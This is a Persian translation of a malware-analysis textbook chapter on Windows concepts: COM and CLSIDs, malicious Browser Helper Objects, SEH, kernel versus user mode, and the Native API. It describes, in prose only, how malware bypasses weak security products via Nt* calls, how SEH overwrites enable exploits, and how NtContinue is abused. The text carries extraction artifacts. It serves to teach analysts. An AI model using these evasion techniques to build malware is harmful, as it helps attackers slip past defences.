ید  توانمیند بسیار دشوار شوند، اما شما  توانمی، برای تجزیه و تحلیل  کنندمیاستفاده     COMهایویژگیاز  

  .استفاده کنید ،شودمینمایش داده  قسمتی که در این  هایروشاز  ها  آنبه منظور تحلیل 

گیرنده  یس. سروشودمی  سازیپیادهگیرنده  سرویس  /  دهندهبه عنوان یک فریمورک سرویس  COMفناوری  

اجزاهای    ( سرور)  هادهندهکنند و سرویساستفاده می COM هایآیجکتهایی هستند که از  برنامه  ( کلاینت )

( برنامه  مجدد  استفاده  از    (COMهای  آبجکتخود  قابل  بسیاری  تعداد  مایکروسافت  هستند. 

 .دهدها ارائه میبرای استفاده برنامه  COMهایآبجکت

، توابع  COM  ایکتابخانهباید حداقل یک بار قبل از فراخوانی هر تابع    کندمیاستفاده    COMکه از    تردیهر  

OleInitialize    یاCoInitializeEx  .د با جستجو  توانمیلیلگر بدافزار  بنابراین، یک تح  را فراخوانی کند

   استفاده کرده است. COMهای ویژگیها دریابد کجا بدافزار از این فراخوانی

  تاطلاعا  ،کندمیاستفاده    گیرندهیسسروبه عنوان    COM  آبجکتقسمتی از بدافزار از یک    کهایندانستن    البته

 کنیدمیمشخص    کههنگامیبسیار گسترده و مختلف هستند.    COMهای  آبجکت  زیرا،  دهدمیزیادی به شما ن

 ییدر حال استفاده شناساآبجکت  شناسه از    ینچندنیاز خواهید داشت    کند،میاستفاده    COMیک برنامه از  

 . یدخود ادامه ده یلبه تحل یدتا بتوان یدکن

CLSID  ،هاIID هایآبجکت ها و استفاده از  COM  1 

قابل دسترسی هستند که   2( GUIDن )های منحصربفرد عمومی خودشااز طریق شناسه  COM  هایآبجکت

 شوند. شناخته می 4( IIDs)  هاو شناسه رابط 3(CLSIDs)  هابه عنوان شناسه کلاس

به شکل  . یک تابع که  شودمیاستفاده    COM  هایویژگیبه  برای دسترسی    CoCreateInstanceاز تابع  

می  Navigateتابع    ،شودمیاستفاده    ابدافزارهتوسط  عمومی   اجازه  برنامه  یک  به  که  برنامه  دهد  است 

Internet Explorer  تابع  کندپیدا میوب دسترسی    تحت  ا کرده و به یک آدرس را اجر .Navigate 

،  کندمیمشخص  ،  دشون  سازیپیادهکه باید  را  است که لیستی از توابعی    IWebBrowser2قسمتی از رابط  

 
1 CLSIDs, IIDs, and the Use of COM Objects 
2 Globally unique identifiers 
3 Class Identifiers 
4 Interface Identifiers (IIDs) 



 

ها را ارائه  ویژگیای که این  . برنامهخواهد دادرا ارائه  ویژگی  کدام برنامه آن    کندمیاین تابع مشخص ناما  

رابط  است    COMکلاس    دهدمی . در بیشتر حالات، رابط کندمی  سازیپیادهرا    IWebBrowser2که 

IWebBrowser2    توسطInternet Explorer  است  ینهمچن.  شودمی  سازیپیاده ذکر  ،  قابل 

شوند  یم  ییشناسا  GUID  یککه با    یی هاو کلاس  IID  یک شوند  یم  ییشناسا  GUID  یک  که با   یی هارابط

 شوند.یخوانده م CLSID یک

تابع   از  بگیرید که  را در نظر  بدافزار  استفاده    IWebBrowser2رابط    Navigateبه عنوان مثال یک 

  CoCreateInstanceشده است. بدافزار ابتدا تابع    سازیپیاده  Internet Explorerکه توسط    کندمی

که بدافزار درخواست داده    ابجکتی  IIDو    CLSID  هایشناسه  Navigate  تابع. سپس  کندمیفراخوانی  را  

  کندمی  بارگذاریرا جستجو  و برنامه را  مربوطه  اطلاعات کلاس    عاملسامانه  در ادامه  کند.یم  یرشاست را پذ

  CoCreateInstanceرا انجام بدهد، البته اگر از پیش اجرا نشده باشد. کلاس   های مورد نظرتعملیاکه 

استفاده از    به منظور .  کنداشاره میهای تابع  گراشارهشامل    استراکچر به یک  دهد که  بازگشت می  گر اشارهیک  

فراخوانی خواهد کرد که  COMهای سرور  ویژگی تابع  بدافزار یک  از  استراکچر  در  آن    گر اشاره،  بازگشتی 

CoCreateInstance    لیست است.  شده  یک    18ذخیره  از  گرفتن  دسترسی    آبجکت چگونگی 

IWebBrowser2   دهدمیرا نمایش. 

 
 CoCreateInstanceبا  COMدسترسی گرفتن از یک شی : 18لیست 

( کلیک کنید.  2و    1را ذخیره کرده است )شماره    CLSIDو    IIDکه    یاستراکچری  به منظور فهمیدن کد، رو 

  شده است مشخص    D30C1661-CDAF-11D0-8A3E-00C04FC9E26E  مقدار    با که    IIDکد  

با مقدار    CLSID  کد  و   IWebBrowser2دهنده  نشان -0002DF01-0000-0000-C000 که 

از  شایان ذکر است،  است.   Internet Explorerنشان دهنده    ،مشخص شده است  000000000046

و در    را تشخیص دهد  آن  دتوانمی  IDA Pro  اسمبلردیزبرنامه    ،شودمیبطور رایج استفاده    IIDکه  جاییآن

 IIDند  توانمی  افزارنرمدهندگان  توسعهته باشید که  البته باید به این نکته توجه داش.  گذاری کندادامه برچسب



 

  IIDبتواند    IDA Pro  اسمبلرتوان انتظار داشت که دیز. به همین دلیل همیشه نمیایجاد کنندرا    ناخودش

که کدهای حاصل از  باید این نکته را تذکر داد، از آنجایی  البته  .استفاده شده در یک برنامه را شناسایی کند

درون    CLSID  هیچگاه نخواهد توانست  IDA Proشامل اطلاعات کاملی نیستند، دیس اسمبلر    یاسمبلدیز

برنامه   برنامه  کههنگامی  کند.  گذاریبرچسبرا  یک  می  CoCreateInstance  یک  فراخوانی  ،  کندرا 

  COMشامل کد    یلاستفاده کرده تا مشخص کند کدام فا  یستریشده درون رج  یرهعامل از اطلاعات ذخسامانه

است. شده  داده  و    \HKLM\SOFTWARE\Classes\CLSID  یستریرج  یدهای کل  درخواست 

HKCU\SOFTWARE\Classes\CLSID  سرور    یکه برا  ندنکیم  یره را ذخ  یاطلاعات مربوط به کد

COM اجرا شوند.  یدبا   

در    یرهذخ  C:\ProgramFiles\InternetExplorer\iexplore.exeمقدار     همچنین   شده 

  یستریرج  یدکل  LocalServer32  یرکلید ز

HKLM\SOFTWARE\Classes\CLSID\0002DF01-0000-0000-C000-

شود را  یم  یبارگذار   CoCreateInstance  تابع   ی که هنگام فراخوان  ییاجرا   یل فا  000000000046

 کند. یمشخص م

  COM  گیرندهسرویس  ،شودیبازگشت داده م  CoCreateInstanceتابع    یاز فراخوان استراکچر    یکهزمان

فراخوانی  یک    19لیست  .  شودیم  یرهساختمان ذخاز یک  آفست    یککند که محل آن در  یم  یتابع فراخوان  یک

روی پشته ذخیره شده است و سپس به ثبات   COMآبجکت    دهنده بهدر آن ارجاع  که  دهدرا نمایش می

EAX تابع   یگرهابه جدول اشارهاستراکچر اولین مقدار در  ،کنید و همچنین که مشاهده می  تمنتقل شده اس

 فراخوانی شده است.  Navigateدر جدول تابع  0x2cکند. در آفست  اشاره می

 
 COMفراخوانی یک تابع : 19لیست 



 

، تحلیلگران بدافزار  دهدمیچه کاری انجام    COMم فراخوانی یک تابع  ابرنامه هنگ  کهاینبه منظور شناسایی  

های  و آفستها  استراکچر  IDA Proاسمبلر  دیزکه در کدام آفست تابع ذخیره شده است.    کنندباید مشخص  

 را کاوش کرد.  ها  آن Structure Subviewاز طریق    توانمیکه  کند میها را ذخیره رایج رابط

 Add Standardروی  و سپس  فشار دهید  یک ساختمان جدید  افزودن  را به منظور    INSERTدکمه  

Structure    منظور به  ساختمان  نام  کنید.    که هنگامیاست.    InterfaceNameVtblافزودن  کلید 

  2chاز  را    آنکلیک کرده و برچسب    اسمبلیدیز( در  1)شماره    ، روی آفست( افزوده شدStrcutre)ساختمان  

 .  کنیدتعویض  IwebBrowser2Vtbl.Navigateبه نام تابع 

اضافه خواهد   ی راقرار گرفته در پشته توضیحات پارامترهایو    callبه دستورالعمل   IDA Pro  اسمبلردیز  حالا

توابع    ییبه منظور شناسا  یاستراتژ   یک وجود ندارند،    IDA Proشایان ذکر است، برای توابعی که در    کرد.

  یرابط مشخص شده در فرخوان  یبرا  سرایند  یهایلفا  یبررس  COM  گیرندهیسسرو  یک شده توسط    یفراخوان

CoCreateInstance در  سرایند یهایلذکر است، فا نیااست. شاMicrosoft Visual Studio  و

   .هستند یابیدستقابل   ینترنتا  یقاز طر ینو همچن  SDKپلتفرم 

 بدافزار  COMسرور 

سرور    بدافزارها برخی   بعدمی  سازی پیادهمخرب    COMیک  که  توسط  کنند  دیگر    هایبرنامهها  کاربردی 

کمکی مرورگر یا به عبارت    آبجکت  برای بدافزارها  COM  سرورهایویژگی رایج    ترینمهم.  شودمیاستفاده  

 هستند.    Internet Explorerی جانبی هاپلاگیناست که  Browser Helper Objectsدیگر 

کد  ی  ها برای اجراآن  ( هیچ محدودیتی ندارند، بنابراین نویسندگان بدافزار از BHO) مرورگر    یکمکآبجکت  

ترافیک    دهدمیاجازه  ها  آن  که به  کنندمیدر حال اجرا استفاده    Internet Explorer  پروسهبدافزار درون  

 خودشان مانیتور کنند.    ی هاپروسه یاینترنت، ارتباطات با اینترنت را بدون اجرا

قابل شناسایی    گیسادبه  معمولا    ،کنندمیسازی  را پیاده  COM  سرورهیییی که  بدافزارهاقابل ذکر است،  

آنهستند   بسیاری  ها  زیرا  جمله    توابع  ، DllCanUnloadNow  ،DllGetClassObjectاز 

DllInstall ،DllRegisterServer   وDllUnregisterServer   کنندمی اکسپورت. 



 

 آید می اشتباهی پیش  کههنگامی: هااکسپشن 

خارج مسیر اجرایی معمول یک برنامه را کنترل کنند. اکثر    دهند رویدادهایمیبه یک برنامه اجازه    هااکسپشن

،  دهدمیرخ    اکسپشنیک    کههنگامی.  شوندمیتوسط خطاهایی از قبیل تقسیم بر صفر ایجاد    هااکسپشنمواقع،  

، از  هااکسپشن. برخی از  شودمیمنتقل    اکسپشنخاص برای برطرف کردن    تابعبه یک  برنامه  مسیر اجرایی  

، از قبیل دسترسی به حافظه نامعتبر،  هااکسپشنو دیگر    شوندمیایجاد    افزارسختقبیل تقسیم بر صفر، توسط  

  RaiseExceptionرا با فراخوانی    اکسپشنید یک  توانمی. شما همچنین  شوندمیایجاد    عاملسامانهتوسط  

 ایجاد کنید.  

مکانیزم    1یافته ساخت  اکسپشن  گرکنترل سامانهیک  منظور  ویندوز  عامل  برای  است.    هااکسپشنکنترل  به 

در پشته ذخیره  (  SEH)  یافته ساخت  اکسپشن  گرکنترلبیتی، اطلاعات    32ی  هاسامانهدر  شایان ذکر است،  

 دهد.نشان می  ،است  اکسپشندارای ساختار کنترل  ابتدایی یک تابع که  خطوط    بلیاسمدیز  20شود. لیست  می

 
 fs:0ذخیره کردن اطلاعات کنترل کننده استثناء در : 20لیست 

 Exception-Handling Frameیا به عبارت دیگر یک    اکسپشنکنترل  قاب    ، یکتابع  اجرای  در ابتدای

کند  در حافظه پشته اشاره میبه آدرسی    fs:0موقعیت مکانی    20در لیست  گیرد.  ( در پشته قرار می1 )شماره

   .شودذخیره می در آنجا اکسپشنکنترل که اطلاعات 

روی کنید،  توجه  نکته  این  بر  پشته    به  )  اکسپشن   گرکنترلآدرس  علاوه  جاری  تابع   Currentقاب 

Function Frame  )  که در واقع در انتها    وجود دارد(  2)شماره  تابع    فراخواننده  اکسپشن   گرکنترلهمچنین

را به    fs:0  آدرسعامل  ، سامانهدهددر برنامه رخ می  اکسپشنخطا یا  وقتی یک  زیرا  تابع بازیابی شده است.  

(  SEHته )یافساخت  اکسپشن  گرکنترلکند و سپس  میبررسی  ها  اکسپشنکنترل  اطلاعات  یابی به  منظور دست

   . دهدبازگشت میاصلی ترد  بهرا   ی برنامهکه استثناء کنترل شد، اجراپس از اینکند و میفراخوانی را  

 
1 Structured Exception Handling 



 

رخ داده    های اکسپشنتوانند تمامی  نمی  چنینتو در تو هستند و هم ها  اکسپشن  گر کنترلشایان ذکر است،  

یک تابع    قاب جاریدر    اکسپشن  گرکنترلگر  ا  را کنترل کنند. به این نکته توجه داشته باشید،  روی سامانه

کنترل را    اکسپشنیک  نتواند   یا  کنترل  کند،    رفع  داده  عبور    تابع   فراخواننده  گر کنترلبه    اکسپشنعملیات 

نتوانند هیچ کدام از آن  اگر   . در نهایت،شودمی بالاترین سطح  ،  رخ داده را کنترل کنند  اکسپشنیا    خطا  ها 

 . خواهد انداخت برنامه را از کار ، گرهای اکسپشنکنترل

استفاده قرار  مورد سوءکدهای اکسپلویت توسعه  توانند درهمچنین می گرهای اکسپشن کنترلقابل ذکر است،  

در حافظه  عامل ویندوز همواره    سامانههای  اکسپشنکنترل    یزم در مکانکه  به عنوان مثال، از آنجایی.  گیرند

کنترل  اشاره  یک پشته   اطلاعات  به    یرهذخ  (Exception-Handling Information)اکسپشن  گر 

  یسی بازنوشلکد  با آدرس یک  گر را  اشاره  ینپشته ا   یزحمله سرر  یک  یانجر  ینتواند در حمهاجم می   یکشود  یم

با عمق بیشتری در  ها  اکسپشنرا بدست آورد. بحث    هدف  کنترل سامانهاکسپشن    یک  یجادا  باکند و سپس  

 گیرد. مورد بررسی قرار میبعدی   هایقسمت

 1مدُ کرنل در برابر   مُد کاربر 

  قسمت . تمامی توابعی که در این  کندمیاستفاده    مُد کاربرو    مُد کرنلویندوز از دو سطح دسترسی پردازنده،  

های  ربرای انجام تمامی کاکرنل  معادل در سطح    هایراهبودند، اما یک سری    مُد کاربر  توابع در    اندهبررسی شد

 مشابه هم وجود دارد.  

مُد  . در  شوندمیکاربر اجرا    مُددر    افزاری سختدرایورهای  عامل و  سامانهی  کدهابه جزء    کدها تقریبا تمامی  

ست. در صورتی که یک برنامه  ادارای حافظه، سطوح دسترسی و منابع مخصوص به خودش    پروسه، هر  ربرکا

د تمامی منابعی که به  توانمییک دستورالعمل غیر مجاز را اجرا کند و از کار بیفتد، ویندوز  مُد کاربر متعلق به 

 هد. آن برنامه اختصاص داده بوده است را پس بگیرد و برنامه را پایان د

و   کندمیموجود در پردازنده دسترسی پیدا    هایدستورالعملو    هاثباتدر حالت معمول، برنامه تنها به تمامی  

های  افزار باید از رابطسختوضعیت  عوض کردن  دسترسی ندارد. به منظور دستکاری و    افزار سختمستقیما به  

 
1 Kernel vs. User Mode 



 

)  نویسیبرنامه استفاده کرد.  APIویندوز  تابع    کههنگامی(  فراخوانی کنید که ساختمان    APIیک  را  ویندوز 

 .  دهدمیانجام   کرنل، آن یک فراخوانی به  کندمیرا دستکاری  کرنل

برنامه نشانه این است که یک   اسمبلیدیزدر  int 0x2Eیا  SYSENTER، SYSCALLوجود دستورالعمل  

  کرنل   مُدکاربر به    مُدنجایی که پرش مستقیم از  آز  ا  با این حال،   ایجاد شده است.  کرنلفراخوانی در سطح  

  توابع از پیش تعریف شده برای اجرا در   شناساییاز یک جدول جستجو برای    هادستورالعملممکن نیست، این  

 . کنندمیاستفاده  کرنل مُد

کدهای  ارند. گذ های حافظه را با هم به اشتراک میآدرسمنابع و  مُد کرنلدر حال اجرا در  یها پروسهتمامی 

دارای یک دستورالعمل اشتباه    شودمیاجرا    کرنل  مُدهای امنیتی کمتری دارند. اگر کدی که در  کنترل  کرنل  مُد

 شوید.  مواجه می 1مرگ آبیقادر به ادامه فعالیت نخواهد بود و در نتیجه با صفحه  عاملسامانهباشد 

دستکاری کند. اما کدی که  ، شودمیکاربر اجرا  مُد که در را د کدی توانمی شودمیاجرا  کرنل  مُد کدی که در 

  نویسیهای برنامهایجاد کند که از رابط  اتتغییر   کرنلد در  توانمیتنها زمانی    ،شودمیدر فصای کاربر اجرا  

 ( استفاده کند.  APIویندوز )

کاربر    مُددر مقایسه با    کرنل  مُدهای بیشتری در  زیرا کار برای نویسندگان بدافزار بسیار مهم است    کرنل  مُد  کد

و در    شوندمیاجرا    کرنل  مُد در    ها و فایروال ضدویروسامنیتی مانند    هایبرنامهند انجام دهند. بیشتر  توانمی

 را کنترل کرده و به آن دسترسی داشته باشند.  هابرنامهتمامی های  فعالیتند توانمینتیجه 

را دور    های امنیتی یا فایروالبرنامهتری  توانند به صورت سادهمی  شوندمیاجرا    کرنل   مُدیی که در  بدافزارها

  مُدیی که در  بدافزارهاای از  شوند به طور قابل ملاحظهمیاجرا    کرنل   مُد یی که در  بدافزارهاواضح است،    بزنند.

دارای دسترسی و فاقد دسترسی    یهاپروسه، هیچ تفاوتی بین  کرنل  مُدتر هستند. در  مندشوند قدرتمیاجرا    کاربر

 .  شودبه کار گرفته نمی کرنل  مُددر عامل سامانه (Auditingبازرسی ) ویژگیوجود ندارد. علاوه بر آن، 

تر است. یک مانع  کاربر سخت  مُدکدهای  ای از توسعه  به صورت قابل ملاحظه  کرنل  مُددر  ی  کدها توسعه  

از    سامانهدر زمان توسعه و دیباگ    ممکن است  احتمال بیشتری  هاین است که ب  کرنل  مُدی  کدهابزرگ در  

ی  کدها کمتری برای کامپایل و توسعه   ابزارهایموجود نیستند و  کرنل  مُد اری از توابع رایج در یکار بیفتد. بس

  بدافزارها . اکثریت  شوندمیاجرا    کرنل  مُد ی پیشرفته در  بدافزارهاها تنها  ین چالشوجود دارد. بخاطر ا   کرنل   مُد

 
1 Blue screen of death 



 

جز تحلیل    کرنلدر    ئئهیچ  و  تجزیه  مورد  در  بیشتر  اطلاعات  )برای  سطح  بدافزارها ندارند.  در    کرنل ی 

 مشاهده کنید( را بعدی این مقالات  هایقسمت

 1( محلی API)  نویسیمه های برنا رابط

برنامهرابط با  رابط(  Native API)محلی    نویسیهای  تعامل  برای  پایینی  سطح  ویندوز    عاملسامانههای 

بسیار محبوب هستند.    بدافزارهااما میان نویسندگان    شوندمیعادی استفاده    های برنامههستند که کمتر توسط  

شما یک تابع    کههنگامی  .دور زده شودعادی ویندوز    API  شود فراخوانیباعث می  محلی  APIفراخوانی توابع  

API  بیشتر    زیرا ،  دهدمیت شده را مستقیما انجام نسویندوز را فراخوانی کنید، معمولا آن تابع عملیات درخوا

در    هایداده ساختمان   توسط  اند  ده شذخیره    کرنل  مُدمهم  از  کدهاکه  خارج  قابل    ر( کارب  مُدکد  )  کرنلی 

کاربر    مُدکاربردی    هایبرنامهکه    ه استای ایجاد کردچند مرحله  پروسهدسترسی نیستند. مایکروسافت یک  

ی  ها رابطچگونگی این کار برای بیشتر فراخوانی    9تصویر  آورند.    دست بهمورد نیاز را  های  ویژگیند  توانمی

 .دهدمینمایش  نویسیبرنامه

 
 مُد کرنل و  مُد کاربر : 9تصویر 

 
1 The Native API 



 

  یا پو  یوندی پ  ی هاکتابخانه  یگر و د  kernel32.dll  یسینوبرنامه  ی هاکاربر به رابط  مُد  ی کاربرد  ی هابرنامه

  ی کاربر و فضا   ی فضا  یانتعامل م  یکتابخانه مخصوص برا   یککه    ntdl.dllد که کتابخانه  ندهیاجازه م

که    کندمیاجرا    کرنلسوئیچ کرده و یک تابع را در    مُد کرنلسپس پردازنده به    کنند.  یفراخوان  ،است  کرنل

های  رابطمیان  با این حال، ایجاد تمایز  حلقوی است اما    پروسهاین  قرار دارد.    ntoskrnl.exeمعمولا در  

  های برنامهکه روی  دهد بدون اینمیافت اجازه کاربر به مایکروس نویسیبرنامه  هایرابطو   کرنلنویسی  برنامه

 . تاثیر بگذارد به راحتی میان این دو حالت اجرایی سوئیچ کند کاربردی موجود دیگر

برنامهها رابطاز    ntdllتوابع   ساختم  نویسیی  سطح    مشابه  یها ناو  توابع  کنندمیاستفاده    کرنلدر  این   .

را    نویسیبرنامه  های رابط رابطبرنامه.  کنندایجاد میمحلی  از  انتظار  بر خلاف  نویسی  برنامههای  ها معمولا 

اگر    گیرد.مینها  آن  را از ها  فراخوانی  نوع  جلوی این   عامل سامانه، اما هیچ چیزی در  کنندمیاستفاده نمحلی  

  ، اما با این حالدهدمیمحلی را در اختیار عموم قرار ن  نویسیرنامهب  هایرابطچه مایکروسافت اسناد مرتبط با  

کتابسایت و  وها  مستندهایی  را  توابع  این  که  دارند  منبع  اندکردهسازی  جود  بهترین   .Windows 

NT/2000 Native API Reference    نوشتهGary Nebbett    انتشارات که    است   Samsاز 

 ن منظور مورد مطالعه قرار بدهید.  توانید آن را دریافت کرده و بدیمی

  کارهایی اجازه ها آن  به   زیراجذاب است بسیار  محلی برای نویسندگان بدافزار   نویسیهای برنامهرابطفراخوانی  

در    دهدمیرا   عادی  که  نیستند.  حالت  آن  انجام  به  که  های  ویژگیقادر  دارد  وجود  های  رابط در بسیاری 

های  با فراخوانی مستقیم رابطها  توان از آن ویژگیمی  حال  با این  ، اما اندفاش نشده  ویندوزعادی  نویسی  برنامه

 .  محلی استفاده کردنویسی برنامه

شایان ذکر  تر است.  در بعضی مواقع پنهان کارانه  محلینویسی  برنامههای  رابط ، فراخوانی مستقیماینعلاوه بر  

  پروسهایجاد شده توسط یک    ایسامانههای  فراخوانی  یت حفاظتو محصولا  هاضدویروسبسیاری از  است،  

مانیتور   اما  ندنکمیرا  مستقیم  پروسه  اگر.  کند،    را    محلینویسی  برنامه  رابط  به صورت  تواند  میفراخوانی 

 .را دور بزندکه دارای طراحی ضعیفی است محصول امنیتی 

در حال  امنیتی با طراحی ضعیف که    افزار نرمیک    مراهبه ه   ایسامانه  انیفراخو  یک  یک دیاگرام از  10تصویر  

امنیتی، بدافزار    افزارنرم. به منظور دور زدن  دهداست را نشان می  kernel32.dll  ییهانا فراخومانیتور کردن  

و   ReadFile  یابع ویندوزوبجای فراخوانی تاین بدافزار   .کندمیمحلی استفاده   نویسیبرنامه رابطفرضی از  



 

WriteFile نویسی محلی ویندوز یعنیهای برنامهبه منظور دور زدن برنامه امنیتی رابط NtReadFile   و

NtWriteFile  کرده است را فراخوانی  . 

توابع در پیوندی گویا  این  دارند و توسط    Ntdll.dll  کتابخانه  ن  افزارنرمقرار  به هر  .  شودمیامنیتی کنترل 

برای اطمینان    کرنلها را در تمامی سطوح از جمله سطح  احی مناسب فراخوانیامنیتی با طر  یک برنامهصورت،  

 . کندمیاین تکنیک نفوذگران کار نکند بررسی   کهایناز  

 
 افزار های امنیتی با طراحی ضعیف بومی برای جلوگیری از کشف توسط نرم APIاستفاده کردن از : 10تصویر 

از   برنامهرابط  هایفراخوانییک مجموعه  دارند که    نویسیهای  برای  توان میمحلی وجود  آوردن    دستبهند 

  یسی محلینوی برنامههارابط  و دیگر عناصر استفاده شوند. اینها  هندلا،  ترده  ،هاپروسه،  سامانهاطلاعات از  

،  NtQuerySystemInformation  ،NtQueryInformationProcess  توابع  شامل

NtQueryInformationThread  ،NtQueryInformationFile   و

NtQueryInformationKey  در    یات بسیارجزییاطلاعات با    ایسامانهی  هافراخوانی  ن. ایدنشومی



 

و بعضی از این توابع به شما اجازه تنظیم    دندهمیا قرار  م  ر در اختیا  Win32مقایسه با هر نوع فراخوانی در  

 .دندهمیو غیره را تردها  ،هاپروسه، هافایل  مهمهای ویژگی

که  هنگامی.  باشدمی  NtContinue  یک تابع دیگر که در میان نویسندگان بدافزار بسیار معرف است، تابع

جریان اجرایی برنامه  از این تابع برای بازگشت  شود  کنترل می  دهد و توسط سامانهیک استثنا رخ می  در سامانه

  اطلاعاتی   در محتویات جریان اجرایی اصلی برنامه    ی بهبازگشت  آدرس. اگرچه،  شوداستفاده میاصلی  ترد    به

مسیر  معمولا از این تابع برای انتقال    بدافزارهاا این حال،  اما بو این قابل تغییر است.  شود  مین  عییتاستثنا  

استفاده بدافزار سوءگیج کردن تحلیلگر بدافزار و سخت کردن دیباگ  به منظور  پیچیده    هایراهبه واسطه    یی اجرا

 .کنندمی

  شده بودندشروع    Ntپیشوند   که باتابع  چندین  ما    در این قسمت از کتاب،  نکته:

  ntdll.dllها، مانند جدول صادراتی  . در برخی نمونهار دادیمقربررسی  مورد  را  

می یکسان  تابع  پیشوند  یک  مثال،    Ze  ای  Ntتواند  عنوان  به  باشد.  در  داشته 

وجود    ZwReadFileو یک تابع    NtReadFileیک تابع  عامل ویندوز  سامانه

معمولا یک کد  ای دارند و  در فضای کاربر رفتار کاملا مشابه این دو تابع  دارد.  

های جزیی  تفاوتدارای    اما در فضای کرنل  کنندرا فراخوانی می  ناکاملا یکس

 تواند به راحتی توسط تحلیلگر بدافزار در نظر گرفته نشود. میخواهند شد که البته  

از زیرسامانهبرنامه  ( Native Applications)  های کاربردی محلیافزارنرم   Win32  هایی هستند که 

. این نوع  شودارسال میمحلی    نویسیهای برنامهرابطها تنها به  آن  هایفراخوانیکنند و تمامی  ده نمیاستفا

.  شوندمشاهده نمیافزارهای عادی  نرم  در میان، ولی تقریبا به هیچ وجه  هستند  اندکها در میان بدافزارها  برنامه

 باشد.  نامه مخرب میمحلی به احتمال زیاد یک برافزار کاربردی نرمبنابراین یک 

 گیری نتیجه 

را پوشش داد. مفاهیمی چون    باشدمیبدافزار بسیار مهم    تجزیه و تحلیلاین فصل مفاهیم ویندوز که برای  

با  تجزیه و  شبکه که شما در هنگام  های  ویژگیو    تردها   ،هاپروسه بدافزار    مواجه خواهید شد.  هاآنتحلیل 



 

 دهدمیبه شما اجازه  ها  آن  بدافزاری که در این فصل بحث شد رایج بوده و آشنایی شما باهای  بسیاری از نمونه

.  متوجه شویدرا به عنوان یک بدافزار تشخیص دهید تا بتوانید بهتر اهداف کلی برنامه را  ها  آن  که به سرعت

  بدافزارهاکتاب و دنیا واقعی    در آزمایشگاه این   بدافزار مهم هستند و  استاتیکاین مفاهیم برای تجزیه و تحلیل  

 خواهند آمد.

 


